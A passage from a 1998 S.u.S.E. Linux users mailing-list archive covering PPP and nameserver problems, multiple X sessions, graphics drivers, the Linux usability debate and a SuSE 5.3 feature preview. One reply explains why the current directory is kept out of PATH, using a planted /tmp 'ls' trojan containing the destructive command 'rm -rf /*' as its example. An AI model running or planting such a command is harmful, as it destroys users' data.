to have to learn how to embed latex commands in anything I want to do:-(  (Ei=
ther that
or use Netscape Composer to write letters with:-)


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From mhtexcollins@ccms.net Mon Jun 29 03:15:40 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Am I paranoid, is it Microsoft, or what?
Date: Sun, 28 Jun 1998 22:15:40 -0500
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They probably changed thier nameservers..... DUH!!!!!

zentara wrote:
>=20
> Hello,
>=20
> I have SuSE 5.1 running, and I had to go out of town. So I took my PC apart
> and hid it like any respectable paranoid would do.
> Up to my leaving, SuSE ran beautifully, using EzPPP as my Internet
> connect. I have sung the praises of SuSE to everyone I have met.
>=20
> When I returned home, and tried to log on using EzPPP,  I would get error
> messages, when trying to use TCP/IP to Mindspring.
>=20
> The messages basically said that there was no entry for any nameserver
> at Mindspring. I couldn't connect to pop.mindspring.com nor any web site.
>=20
> The system worked perfectly 1 month ago.  What happened?
>=20
> I can use Windows95 to get online, but Linux is not allowed.
>=20
> In the intervening month, while I was gone,
> Microsoft bought off some judge to allow them
> to distribute Win98 with IE4 Browser built in, and Mindspring's stock
> just recently split, with a tremendous gain.
> Do you smart guys out there see why I'm paranoid?
>=20
> Does anyone else out there feel that some government entity
> has aligned with Microsoft, to force everyone onto the Microsoft
> bandwagon?
>=20
> What does this say about the Internet?  Who controls it?
>=20
> You can call me paranoid, but this did occur.
> I'm using Win95  right now, to upload this.
>=20
> I freely admit that I might have made some error in SuSE configuration,
> but why did it work fine 1 month ago, and stonewalls me now?
>=20
> If anything, this speaks for more strigent anti-trust legislation against
> Microsoft. Of course, that would be useless if Microsoft is a front for
> some intelligence agency ,  as I suspect.  As any "paranoid" knows.....
> you can't fight "them".
>=20
> Your "delusional" Linux-loving friend,
> zentara
>=20
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From hattons@cpkwebser5.ncr.disa.mil Mon Jun 29 03:20:23 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 23:20:23 -0400
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Michael Lankton wrote:

> What you all need to take into consideration is that linux is a unix
> clone.  Unix systems need to be ADMINISTERED, they were never meant to
> be desktop boxes.  Joe User on a unix network runs his applications, but
> the sysadmin is responsible for all the administration tasks.  Well, if
> you are running a unix box at home, regardless of whether it's freebsd,
> linux or whatever, you have willingly chosen to become a unix system
> administrator.  I don't understand all the whining about something
> you've voluntarily chosen to do.  If people come to linux expecting a
> windows that isn't windows, they are going to be disappointed and
> frustrated.


I came to Linux in order to learn more about Unix system
administration.  I use
Solaris at work, and figured that Linux would be a good place to start.=20
I could
have bought Solaris x86 for $99 as a student.  I would have done so,
except I found
Linux to be capable of much more than I had imagined.  I have been
configuring
systems since '92.  I also worked on guided missile, digital electronics
for 5
years.  In addition I have a CS degree with a concentration in
hardware.  I don't
mind configuring systems, and I'm pretty good at it.

I have been involved with NT since it was in beta.  I believe that Unix,
and open
systems in general,  are superior to NT for both technical and economic
reasons.
The big advantage that NT has over Linux is the ease with which a novice
can
configure it.  Linux is not nearly as easy to configure.  Grant you it
is capable
of doing a lot more than NT.  When one asserts that one operating system
is
superior to another, he is basically saying that the better OS is more
reliable,
efficient, and capable of performing a wider variety of tasks.  One of
the
functions that is being demanded of OS's these days is to provide easy
to use
configuration tools.  I see nothing wrong with this.  Ease of
configuration makes
sense if the OS is to move beyond the enclave of highly specialized
computer
scientist.  There are many very intelligent people who would love to use
Linux
except they don't want to spend hours or even days trying to configure
their
printer.  Personally, I want to start using it for Mathematica.  If I am
in the
middle of generating a very complex animation of a physical system I
don't want to
have to take time out to try and figure out how to reconfigure some
aspect of my
OS.

I have the feeling that the people who don't like all the talk about
Linux becoming
user-friendly are afraid they will loose some perceived advantage over
others if
this happens.  These are perhaps the same people who feel that they are
smarter
than everybody around them because others don't know as much about
computers.  This
is the "if you aren't an expert in my field, you can't be very smart"
syndrome.
There is also the "what are you doing on this road with your horseless
carriage?
You're scaring my horses" syndrome.  You guys who want to continue to
use vi to
write your doctoral thesis are free to do so.  I will still use vi to
edit my
/etc/hosts file.

Linux can beat the pants off Micro$oft in the open market, if it becomes
more user
friendly.  At work we have several Compaq Proliant 7000s with 4 CPU's, 4
Gig of
RAM, 450 Gig of hard drive and Windoze NT running on them.  This is
enough power to
handle most data processing need of a medium size organization.  All the
file and
print servers in the Defense Information Systems Agency (DISA) are
running NT.  All
the user work stations are running NT.  There are many people pushing
very hard to
try to do everything on NT.  The biggest advantage I can see NT has is
its GUI
configuration tool set.  M$ did a good job of designing the overall
architecture of
NT.  It is very modular, uses a micro-kernel concept, and uses a pretty
good VMM.
Some of these features are not part of the current Linux architecture,
as I
understand it.  This means that in the short run NT is probably easier
to modify
and improve.  There is no way that DISA could implement the same NT
based system
they currently have on Linux without a support staff with far more
computer
knowledge than the one that they have.

Making machines do things that are difficult, time consuming, or boring
is the
whole idea of computers.  If Linux and the GPL concept is so great, (and
I believe
it is) then Linux can be made to help the user configure his system in a
way
superior to M$.


Sorry if this rambles a bit.  I need to think about these ideas more so
that I can
find better words.

Steve


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THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human
invention can counterfeit or alter, that God speaketh universally to
man. - Thomas
Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let
a crown be placed thereon, by which; the world may know, that so far as
we approve
of monarchy, that in America the law is king.  - Thomas Paine, *Common
Sense*,
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From mhtexcollins@ccms.net Mon Jun 29 03:21:05 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp (that ol' devil)
Date: Sun, 28 Jun 1998 22:21:05 -0500
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There is probably something in /etc/ppp/options and nothing should be
there.

Ken Schuller wrote:
>=20
> Jimi Axelsson wrote:
> >
> > Ho!
> >
> > Newbie questions:
> >
> > Ok, I installed Linux and KDE, and all works fine except one thing:
> > I can't get the on the 'net. So here goes:
> >
> > I use a Motorola Bitsurfr Pro as a ISDN terminal, and I configured
> > it in (as much as is possible) KDE. It starts up fine, gets an init
> > string and starts to dial to my ISP. After a few seconds, it returns
> > a dialog with "PPP died unexpectedly!".
> >
> > Ok, the questions are:
> >
> > 1. Does this have to do with something missing or not being correctly set=
 up?
> >
> > 2. Do I need the i4l installed? It is installed, but for some reason
> > the i4l don't find the right hardware and the kernel unloads it during
> > startup.
> >
> > 3. If so, what kind of driver do I need for the Bitsurfr? I can't find
> > any hint in the documentation on the SuSE site.
> >
> > I'd be thankful for any pointers in the right direction...
> >
> > Regards,
> > Jimi
>=20
> Jimi-
>=20
> Make sure you have PPP support (and ISDN support, for that matter)
> compiled into your kernel.
>=20
> Ken
>=20
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> Ken Schuller
>=20
> Network Systems Specialist
>=20
> NovaNET Learning, Inc.
>=20
>  Take out the spam foil to reply via e-mail. 
>=20
> Incidentally, I speak for me.  That's all.  No one else.
>=20
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From satan3@home.com Mon Jun 29 03:23:41 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 22:23:41 -0500
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Steven T. Hatton wrote:

> I came to Linux in order to learn more about Unix system administration.  I=
 use
> Solaris at work,

I use OSF1 at school and have worked in BSDi a little, and frankly,
nothing makes you appreciate linux more than a commercial unix.

You make some good points.  I think change is unsettling, especially
when you are happy with something the way it is.  Sometimes things turn
out ok and you went through all that anxiety for nothing, and other
times it marks the end of a period of your life you can never go back
to.  I'll paraphrase here because I'm quoting from memory, but Charles
Manson said once in an interview "I was crazy back when it meant
somethin'.  Hell, everyone's crazy nowadays."  I think people who have
been using linux awhile look around and wonder where all these people
came from.  Heh, it's good for the os, it was just kind of cool when
linux was our little secret.  But those days are gone, and frankly we
all benefit from that.
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From leonmcclatchey@homemail.com Mon Jun 29 03:25:30 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 22:25:30 -0500
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World Leader Pretend wrote:

> > How can I start multiple X sessions?  I want to have an X session started
> startx -- :0  # VT7
>
> startx -- :1  # VT8
>
> startx -- :2  # VT9
>

I just tried that, and it worked!  Killed netscape on VT7, but it worked!  Ea=
t your heart out MS!  (hehe, that is one thing that I have never been able to=
 do in either
os/2 or win95, set up more than one virtual console (commandline let alone "w=
in")So there is yet another thing that Linux can do that other OS's cannot:-)


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From: mhtexcollins@ccms.net
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Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 22:33:26 -0500
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YES. YES, YES,:!!!

Steven T. Hatton wrote:
>=20
> Michael Lankton wrote:
>=20
> > What you all need to take into consideration is that linux is a unix
> > clone.  Unix systems need to be ADMINISTERED, they were never meant to
> > be desktop boxes.  Joe User on a unix network runs his applications, but
> > the sysadmin is responsible for all the administration tasks.  Well, if
> > you are running a unix box at home, regardless of whether it's freebsd,
> > linux or whatever, you have willingly chosen to become a unix system
> > administrator.  I don't understand all the whining about something
> > you've voluntarily chosen to do.  If people come to linux expecting a
> > windows that isn't windows, they are going to be disappointed and
> > frustrated.
>=20
> 
> I came to Linux in order to learn more about Unix system administration.  I=
 use
> Solaris at work, and figured that Linux would be a good place to start.  I =
could
> have bought Solaris x86 for $99 as a student.  I would have done so, except=
 I found
> Linux to be capable of much more than I had imagined.  I have been configur=
ing
> systems since '92.  I also worked on guided missile, digital electronics fo=
r 5
> years.  In addition I have a CS degree with a concentration in hardware.  I=
 don't
> mind configuring systems, and I'm pretty good at it.
>=20
> I have been involved with NT since it was in beta.  I believe that Unix, an=
d open
> systems in general,  are superior to NT for both technical and economic rea=
sons.
> The big advantage that NT has over Linux is the ease with which a novice can
> configure it.  Linux is not nearly as easy to configure.  Grant you it is c=
apable
> of doing a lot more than NT.  When one asserts that one operating system is
> superior to another, he is basically saying that the better OS is more reli=
able,
> efficient, and capable of performing a wider variety of tasks.  One of the
> functions that is being demanded of OS's these days is to provide easy to u=
se
> configuration tools.  I see nothing wrong with this.  Ease of configuration=
 makes
> sense if the OS is to move beyond the enclave of highly specialized computer
> scientist.  There are many very intelligent people who would love to use Li=
nux
> except they don't want to spend hours or even days trying to configure their
> printer.  Personally, I want to start using it for Mathematica.  If I am in=
 the
> middle of generating a very complex animation of a physical system I don't =
want to
> have to take time out to try and figure out how to reconfigure some aspect =
of my
> OS.
>=20
> I have the feeling that the people who don't like all the talk about Linux =
becoming
> user-friendly are afraid they will loose some perceived advantage over othe=
rs if
> this happens.  These are perhaps the same people who feel that they are sma=
rter
> than everybody around them because others don't know as much about computer=
s.  This
> is the "if you aren't an expert in my field, you can't be very smart" syndr=
ome.
> There is also the "what are you doing on this road with your horseless carr=
iage?
> You're scaring my horses" syndrome.  You guys who want to continue to use v=
i to
> write your doctoral thesis are free to do so.  I will still use vi to edit =
my
> /etc/hosts file.
>=20
> Linux can beat the pants off Micro$oft in the open market, if it becomes mo=
re user
> friendly.  At work we have several Compaq Proliant 7000s with 4 CPU's, 4 Gi=
g of
> RAM, 450 Gig of hard drive and Windoze NT running on them.  This is enough =
power to
> handle most data processing need of a medium size organization.  All the fi=
le and
> print servers in the Defense Information Systems Agency (DISA) are running =
NT.  All
> the user work stations are running NT.  There are many people pushing very =
hard to
> try to do everything on NT.  The biggest advantage I can see NT has is its =
GUI
> configuration tool set.  M$ did a good job of designing the overall archite=
cture of
> NT.  It is very modular, uses a micro-kernel concept, and uses a pretty goo=
d VMM.
> Some of these features are not part of the current Linux architecture, as I
> understand it.  This means that in the short run NT is probably easier to m=
odify
> and improve.  There is no way that DISA could implement the same NT based s=
ystem
> they currently have on Linux without a support staff with far more computer
> knowledge than the one that they have.
>=20
> Making machines do things that are difficult, time consuming, or boring is =
the
> whole idea of computers.  If Linux and the GPL concept is so great, (and I =
believe
> it is) then Linux can be made to help the user configure his system in a way
> superior to M$.
> 
>=20
> Sorry if this rambles a bit.  I need to think about these ideas more so tha=
t I can
> find better words.
>=20
> Steve
>=20
> --
>=20
> [htt=
p://counter.li.org>]  Yo Bill!  Doo-bee, doo-bee, doo.
>=20
> THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no=
 human
> invention can counterfeit or alter, that God speaketh universally to man. -=
 Thomas
> Paine,  _The Age of Reason_
>=20
> [L]et [the charter] be brought forth placed on the divine law, the word of =
God; let
> a crown be placed thereon, by which; the world may know, that so far as we =
approve
> of monarchy, that in America the law is king.  - Thomas Paine, *Common Sens=
e*,
> February 14th, 1776
>=20
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From fmiller@lightlink.com Mon Jun 29 03:34:24 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 23:34:24 -0400
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Howard Arons wrote:
> 
> On Sun, Jun 28, 1998 at 01:30:57AM -0400, Fred A. Miller wrote:
> >
> > > ... As for _general_ consumption, though, I don't think Linux (SuSE's
> > > or anyone else's) has a prayer vs MS.
> >
> > That all depends on how simple SuSE and others make the install,
> > administration etc. of ALL Linux, as well as ALL software providers!  As
> > long as it just about takes an "act of Congress" to install a system,
> > sound drivers, fonts, printers, etc., etc., then you are correct.  IF
> > the folks at SuSE and elsewhere get their act together, then Linux will
> > be Bill Gates WORST nightmare!!
> >
> > Fred
> 
> I _promise_ that this will be my last note on this subject (uncrosses
> fingers).
> 
> In theory, you're absolutely right. But your conclusion applies not
> only to installs but to the maintenance of the OS and apps as well.
> After all, most "mortal" users buy a box with Win95/98 preinstalled and
> preconfigured. They never touch the OS again. Their efforts to add a
> new printer or a new modem, etc. often end in utter disaster (been
> there, done that I'm ashamed to admit). If they're lucky, they have a
> techie friend (someone who has already been through an install) who can
> bail them out, or they turn to Usenet or (more likely) AOL.

And, a lot of us fix their systems.  They assume, as to Apple users,
that they don't have to do anything but type at the keyboard.  No matter
what OS is used, there's a minimal about of administration at least.

> OK, you reply, Linux is the same situation. Well, not exactly. The user
> base isn't comparable, so I'm not likely to be able to turn to the
> techie next door. Leaves me with Usenet or this group--smart and
> helpful people, yes, but not many of you. Installs of new apps (YaST
> aside) aren't of the "click install" flavor; never mind compiling and
> installing.

This is true, presently.
 
> So, I suggest that Bill G's success is a self-fulfilling prophecy.
> Linux will never, ever reach the point of offering the point-and-click
> convenience that ordinary users (pop, mom, _and_ the folks at the
> office) need and demand. If Linux ever does achieve such a thing, I
> wonder how the current hard core Linux folks will feel about that?

I don't know how'd they react, however, Linux is able to provide both. 
I don't see it as a problem.

Fred


-- 
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Cornell Univ. Press Services
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From fmiller@lightlink.com Mon Jun 29 03:37:53 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 23:37:53 -0400
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Chris Herrnberger wrote:
> 
> Someone here recently complained
> > about it being slow to come up.  It's up and running in around 10
> > secs. on this box, a Tyan S1846 BX MOB with 333Mhz. CPU.
> 
> for us in the real world with a P133/32 megs ram it takes over a minute
> to even get to the spash screen and no other programs up. I use it and
> cant live without it. Cant wait for WP8/99US this summer and the Suite
> later next year.

Yes....I'm going to take a long look at it also!

Fred


-- 
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Cornell Univ. Press Services
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From tanc@cuug.ab.ca Mon Jun 29 03:58:04 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 21:58:04 -0600
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I have managed to modify /usr/X11R6/lib/X11/xdm/Xservers to start two X
Windows upon startup (I am using kdm).  The lines in that I have in tha
file now are:

:0 local /usr/X11R6/bin/X :0 vt07 -quiet
:1 local /usr/X11R6/bin/X :1 vt08 -quiet

Again, thanks a lot to those who helped.

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Leon McClatchey wrote:

>=20
> World Leader Pretend wrote:
>=20
> > > How can I start multiple X sessions?  I want to have an X session start=
ed
> > startx -- :0  # VT7
> >
> > startx -- :1  # VT8
> >
> > startx -- :2  # VT9
> >
>=20
> I just tried that, and it worked!  Killed netscape on VT7, but it worked!  =
Eat your heart out MS!  (hehe, that is one thing that I have never been able =
to do in either
> os/2 or win95, set up more than one virtual console (commandline let alone =
"win")So there is yet another thing that Linux can do that other OS's cannot:=
-)
>=20
>=20
> --
> cya l8r
> Leon McClatchey
> leonmcclatchey(a)homemail.com
> Linux User 78912
> (Linux Box)
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Subject: [S.u.S.E. Linux] Bounce from postmaster@algw2.lucent.com ????
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When I started sending out penguins some of my mail bounced.  I figured
it was because I had an image in the message.  I have started receiving
these bounce messages again.  I only get them whem posting to S.u.S.E.
Does anybody else have this problem?  The following is the header:

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[http:=
//counter.li.org>]  Yo Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh
universally to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know,
that so far as we approve of monarchy, that in America the law is king.
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From hettar@teleport.com Mon Jun 29 07:30:59 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Mon, 29 Jun 1998 00:30:59 -0700
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Hia all

Just to let you know about a cool nesting program
that will nest in a "window" another wm of your
choice within your "normal" wm. Great for
debugging and so on, what ever you can think of

its called Xnest.: X332nest.tgz  you can find
it at
ftp.XFree86.org/pub/XFree86/3.3.2/binaries/Linux-ix86/X332nest.tgz

To start it :

1) startx -- /usr/X11R6/bin/Xnest :1.0 (default wm)
2) startx /usr/X11R6/bin/YOURWM-- /usr/X11R6/bin/Xnest :1.0
3) or shorter:  startx `which yourwm` -- `which Xnest` :1.0

Just a few ideas :)
Steven Udell

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From hettar@teleport.com Mon Jun 29 07:33:21 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Matrox m3D
Date: Mon, 29 Jun 1998 00:33:21 -0700
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C. J. Kenneth Tan wrote:

> Does anyone know if the Matrox m3D is supported for OpenGL stuff on Linux?
>
> Regards,
> C. J. Tan

I'd like to see Matrox's new line of video cards the G200 supported under
Xfree and not just bleh x-acel..  Maybe SuSE can figure out one (nudge)

Steven Udell

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From mantel@suse.de Mon Jun 29 10:35:30 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: CPUInfo?
Date: Mon, 29 Jun 1998 12:35:30 +0200
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Hi,

On Sun, 28 Jun 1998, Lawrence Sayre wrote:

> My /proc/cpuinfo file is empty.  I thought this file was supposed to
> keep a record of the CPU, and its relative bogomips performance, etc..
> 
> My CPU is a Cyrix P200+, and I'm using SuSE 5.2.  Is there any way to
> get the CPU info to read out this for this chip?

I'm getting this on a Cyrix machine:

mantel(a)Galerkin:/home/alex/mantel > cat /proc/cpuinfo 
processor       : 0
cpu             : 686
model           : PPro A-step
vendor_id       : CyrixInstead
stepping        : unknown
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid           : yes
wp              : yes
flags           : fpu de tsc msr cx8 pge cmov mmx
bogomips        : 166.71

You could try kernel 2.0.34 as it has some modifications in the CPU
identification code.

> Lawrence Sayre 

    Hubert

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From mantel@suse.de Mon Jun 29 10:54:19 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Executing executables under Linux
Date: Mon, 29 Jun 1998 12:54:19 +0200
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Hi,

On Sun, 28 Jun 1998, Joseph  Beaman wrote:

> Thanks--that works beautifully.  Now my next question is WHY do you have to
> do that?

Security. Imagine some user putting some shell script into /tmp with the
name "ls" and the contents "rm -rf /*". When root executes "ls" in /tmp
it could erase your whole system.

Some people argue that you can add the cwd at the end of the path. But
that is still dangerous. Some user could create the above mentioned file
with the name "sl" and just wait for root to mis-spell the "ls" command.

If you are the only user on that system, you might want to change the
behaviour. Simply start YaST and go to "System administration" / "Security
settings".

    Hubert

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From mantel@suse.de Mon Jun 29 10:56:44 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Multiprocessors
Date: Mon, 29 Jun 1998 12:56:44 +0200
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Hi,

On Sun, 28 Jun 1998, C. J. Kenneth Tan wrote:

> I am wondering what will happen if I were to put in two processors which
> are of different stepping into a multiprocessor machine.  Has anyone

I'm wondering, too ;-)

> encountered this before?  Currently, I have a PPro 200 256K Stepping 9 and
> I want to order another one, but I don't know if it'll be Stepping 9 as
> well or not.

I don't know of anybody who has tested it. I would assume: If you're
lucky everything works fine. If you're unlucky, results are unpredictable.

> Regards,
> C. J. Tan

    Hubert

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From calamity@wayward.net Mon Jun 29 12:03:39 1998
From: calamity@wayward.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Bounce from postmaster@algw2.lucent.com ????
Date: Mon, 29 Jun 1998 08:03:39 -0400
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Steven T. Hatton wrote:
> 
> When I started sending out penguins some of my mail bounced.  I figured
> it was because I had an image in the message.  I have started receiving
> these bounce messages again.  I only get them whem posting to S.u.S.E.
> Does anybody else have this problem?  The following is the header:



I just joined the list a few days ago, but I have not recieved any
bounce messages.  I also didn't recieve a penguin. 
Marie

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From drew@adapco.com Mon Jun 29 12:39:35 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Mon, 29 Jun 1998 08:39:35 -0400
Message-ID: <9806291239.AA20312@ibm29.adapco.com>
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I have the same card make sure that you have the most up todate bios on the c=
ard.
When I was setting it up I had to use xf86config rather than xf86setup.  Setup
does that pci prob thing And I think config does not.  Somewhere in the docs =
they
tell you not to use xf86setup.

Drew

>=20
>=20
> I have a Diamond FireGL 1000, and I am trying to get it to work with the
> Elsa Gloria X server. But the driver keeps saying that it cannot detect any
> configured device. When I turn on the -verbose flag, it tells me that it
> cannot probe the PCI bus. Can you help me figure out what is causing this
> and how to remedy it.
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> |Jason J. W. Williams                          |
> +----------------------------------------------+
> |INET: lonewolfe(a)uswest.net                    |
> +--------------------------------------------+-+
> |"I have sworn before the altar of God,      |
> |Hostility towards every tyranny over the    |
> |mind of man."                               |
> | -Thomas Jefferson                          |
> +--------------------------------------------+
> |"In an age of disposability, when both      |
> |objects and people are discarded was soon as|
> |they cease to be of use, a fountain pen has |
> |the durability of old friendship."          |=20
> | -Richard Leigh (British Writer)            |=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From tanc@cuug.ab.ca Mon Jun 29 12:42:56 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Matrox m3D
Date: Mon, 29 Jun 1998 06:42:56 -0600
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Also, which card is supported for OpenGL under Linux?

C. J. Tan

On Mon, 29 Jun 1998, Steven Udell wrote:

>=20
> C. J. Kenneth Tan wrote:
>=20
> > Does anyone know if the Matrox m3D is supported for OpenGL stuff on Linux?
> >
> > Regards,
> > C. J. Tan
>=20
> I'd like to see Matrox's new line of video cards the G200 supported under
> Xfree and not just bleh x-acel..  Maybe SuSE can figure out one (nudge)
>=20
> Steven Udell
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From tanc@cuug.ab.ca Mon Jun 29 12:49:43 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] s3 graphical drivers
Date: Mon, 29 Jun 1998 06:49:43 -0600
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Do you mean X Server?  If yes, then with the S3 Trio 64+ cards, use the S3
X Server (XFree86).  Don't know about AcceleratedX though. =20

C. J. Tan

On Mon, 29 Jun 1998, Mikel Uria Martiarena wrote:

>=20
> Hi!
>=20
> I=C5=BDm installing the graphical card, a  S3 Trio64+ one, and it doesn=C5=
=BDt  apear
> in the list of the drivers. It=C5=BDs in the supported card list
> 'www.xig.com/board/ax/s3.html' ,but where I can find it???
>=20
> Thanks.
>=20
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From Ted.Harding@nessie.mcc.ac.uk Mon Jun 29 13:07:52 1998
From: Ted.Harding@nessie.mcc.ac.uk
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] s3 graphical drivers
Date: Mon, 29 Jun 1998 14:07:52 +0100
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On 29-Jun-98 Mikel Uria Martiarena wrote:
>=20
> I=C5=BDm installing the graphical card, a  S3 Trio64+ one, and it doesn=C5=
=BDt  apear
> in the list of the drivers. It=C5=BDs in the supported card list
> 'www.xig.com/board/ax/s3.html' ,but where I can find it???

"www.xig.com" is the URL of XiGraphics Inc., who produce the commercial series
of "Accelerated-X" drivers. They are responsible for their own coverage of
graphics cards, and there is no reason to expect that a card which they claim
to support should also be supported in XFree86.

If you can't find a satisfactory driver for your card in the Free Software
domain, then you could consider purchasing the XiGraphics Accelerated-X; but =
it
is not available free!

XiGraphics claim that their software complies fully with the X protocol where=
as
XFree86, in its current form, does not fully comply. I wouldn't know for sure.
If you do go ahead and install their stuff when you already have a working XF=
86
setup, be warned that it is not as straightforward as they make it look. I ha=
ve
had some problems and, at present, am back on XF86 (off S.u.S.E.-5.1) pending
resolution of these problems.

Sorry I can't help about your S3 Trio64+ card. Have you tried one of the S3
drivers that comes with S.u.S.E. XF86, just in case?

Good luck, and best wishes,
Ted.

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From tanc@cuug.ab.ca Mon Jun 29 13:17:03 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Linux Universe
Date: Mon, 29 Jun 1998 07:17:03 -0600
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I really don't want to stir up another thread like the RH vs. SuSE here.
But does anyone know what has happened to Linux Universe?  It seems like
they are nowhere to be found on the Net.

C. J. Tan
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From chiodi@usaor.net Mon Jun 29 14:36:17 1998
From: chiodi@usaor.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Thinking about SUSE
Date: Mon, 29 Jun 1998 10:36:17 -0400
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Thanks for all the comments out there.  I have taken the plunge and purchase =
the
official version of S.u.S.E 5.2 from cheapbytes.  I look forward to installin=
g it.

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From chris123@netcom.ca Mon Jun 29 14:45:58 1998
From: chris123@netcom.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New on 5.3
Date: Mon, 29 Jun 1998 10:45:58 -0400
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Glad to see the upgrades to the install process, the manual and
excellent choice of add'n apps. Well done guys...well done

ch

Bodo Bauer wrote:
>=20
> Hi,
>=20
> here is a list of what to exspect from S.u.S.E. Linux 5.3. This list
> is just a preview and things may change. It's not an official announcement
> or anything like this. I just want you to keep informed.. :)
>=20
> Ciao,
>         BB
> ---------------------------------------------------------------------------=
----
> New features of S.u.S.E. Linux 5.3
>=20
> Kernel 2.0.34
>   * Support of FAT32 and Joilet filesystems
>=20
> YaST
>=20
> Revised installation. Now offers two ways to install the system: Quickinsta=
ll
> or Expert Mode
>=20
>   * Easier partitioning and filesystem assignement.
>   * New fdisk version (Win95-Fat32 and Win95-extended compatible).
>   * FTP support for installation and update (now support full update via ft=
p!).
>=20
> Updated packages
>=20
>   * apache 1.3.0 (including mod_perl and "server side includes")
>   * apacheSSL 1.2.6 (includeing PHP3 und SSL 1.17) (not on SuSE Linux inter=
national)
>   * apsfilter (tmp-file fixes)
>   * automake 1.3
>   * arcad 0.074 (demo)
>   * cdwtools 0.95beta03
>   * dhcp 1.0pl2
>   * dosemu 0.66.7 (Security fixes)
>   * emacs 20.2
>   * fips 2.0
>   * fortify 1.2.3 (not on SuSE Linux international)
>   * freeciv 1.6.3
>   * gdtmon 1.01
>   * gimp 1.0
>   * graffy (demo)
>   * gs_lib (GNU version, support added for Brother HL720 und HL730)
>   * gtk 1.0.4
>   * itcl 2.2p2
>   * kde pre-1.0 or 1.0
>   * lsof 4.31
>   * mh (Update)
>   * netscape 4.05
>   * plp 4.1.2
>   * pop (includes IMAP-4.1.BETA 10.230)
>   * postgres 6.3.2 (new interface)
>   * qt 1.33
>   * rpm2html 0.85
>   * sane 0.73
>   * smeiffel 0.81
>   * snavig 4.0.3
>   * susefax 0.84
>   * suseppp 1.2
>   * vdx 1.2
>   * wget 1.5.1 (Bugfix release)
>   * WindowMaker (afterstep )
>   * wine 980614
>   * xmp 1.1.5
>   * xosview 1.6.0
>   * ytree 1.63
>   * All graphic-libraries have been reviewed
>   * revised help-system
>=20
> New packages
>=20
>   * argroups 1.0 (UPS management software)
>     This package offers the possibility to shut down the system dependent
>     on the UPS status. It also includes a GUI monitor for the UPS.
>   * blender 1.34beta (3D modelling, animation and rendering software)
>     Blender is a high-end animation studio. It is extremly fast and offers
>     an unique approach to the world of 3D. You can generate commercials,
>     technical presentations and business graphics. It offers things like
>     morphing, and makes the development of user interface easy.
>   * cipe 0.5.3 (encoded IPIP-Tunnel) (not on SuSE Linux international)
>     CIPE stands for 'Crypto IP Encapsulation'. It allows to set up secure
>     'Virtual Private Networks'.
>   * convert 1.3
>     Converts abaout 700 phys. units into each other
>   * dap (Digital Audio Processor)
>     Application to edit audio samples. Supports AIFF and AIFF-C with 8 or
>     16 Bit and 1,2 or 4 channels
>   * ezwgl 1.38 (GUI-Bibliothek)
>   * faxedit 1.14 (simple editor for pbm-Dateien)
>     Provides a simple way to answer faxes. You can cut off parts, modify
>     them in size or position, etc. Allows you to enter text and print
>     prewiews.
>   * fbm (Fuzzy Pixmap Manipulation Tools)
>     Tools using libfbm.
>   * fbm2fli
>     create animations from fbm-picture-files.
>   * fhs 2.0 (Filesystem Hierarchy Standard)
>     Document describing the new standard for the Linux (Unix)
>     filesystem hierarchy.
>   * filerun 2.4.2 (X11 filemanager)
>   * gif (gif tools)
>     Conversation of gif files in other formats.
>   * global 2.24
>     GLOBAL is a commen tag-system for C and Yacc. Allows the easy creation
>     of HTML references for complex sourcecodes (like X or the
